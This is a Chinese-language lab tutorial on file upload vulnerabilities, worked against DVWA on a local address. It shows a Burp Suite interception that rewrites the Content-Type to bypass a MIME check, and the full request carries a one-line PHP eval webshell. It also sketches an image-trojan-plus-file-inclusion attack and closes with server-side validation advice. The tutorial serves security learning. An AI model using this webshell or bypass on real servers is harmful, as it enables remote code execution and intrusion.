声明: 所有文档均用于安全测试加强防护,若作它用后果自负.
原理: 因为业务原因需要上传文件的功能,但是因为没有对上传的文件做过滤,检测是否是一个正常符合业务所需规范的文件,导致的上传的一个webshell,所产生的漏洞,通过上传webshell来达到攻击上传漏洞的操作.
-
最低级的漏洞一: 没有对上传的任何文件做过滤安全校验.可直接上传webshell到服务器.
-
较为高级的漏洞: 仅对文件类型进行了校验,可以通过代理的方式来修改文件类型的方式来绕过这个检测.(BURPSUITE)
较为高级的验证:验证上传文件的类型.
2.1 使用方式,使用BURPSUITE进行代理,拦截流量器发过来的包文件.
图1中: 我使用的默认的8080端口,在所有接口上监听,可以让外部的浏览器访问到.

图2中: 我使用火狐浏览器将代理指向BURPSUITE.

图3:点击选择上传webshell文件,然后进行测试看代理是否成功.

详细的响应内容如下:
POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: 192.168.1.126 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------24086847316965774801883397268 Content-Length: 506 Origin: http://192.168.1.126 Connection: close Referer: http://192.168.1.126/dvwa/vulnerabilities/upload/ Cookie: security=medium; PHPSESSID=bfgr6cr81obijksdo82f9fvc84; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada Upgrade-Insecure-Requests: 1 -----------------------------24086847316965774801883397268 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------24086847316965774801883397268 # 包内容文件信息 Content-Disposition: form-data; name="uploaded"; filename="shell1.php" Content-Type: application/x-php #源文件类型为application/x-php #需要改变文件类型为图片 image/jpeg Content-Type: image/jpeg <?php @eval($_POST['lqhtest']);?> -----------------------------24086847316965774801883397268 Content-Disposition: form-data; name="Upload" Upload -----------------------------24086847316965774801883397268--然后将修改后的包转发

- 这样就绕开了简单的一个文件类型检测防护.
如果有较高的文件上传校验例如:
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
# 限制了文件的拓展名和文件大小限制.
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
攻击思路: 整合图片木马上传图片后,去找是否有文件包含漏洞,如果有去使用这个漏洞执行木马图片,生成webshell.
程序上文件上传校验安全建议方案:
- 文件扩展名服务端校验.
- 文件内容服务端校验.
- 上传文件重命名.
- 上传文件路径隐藏.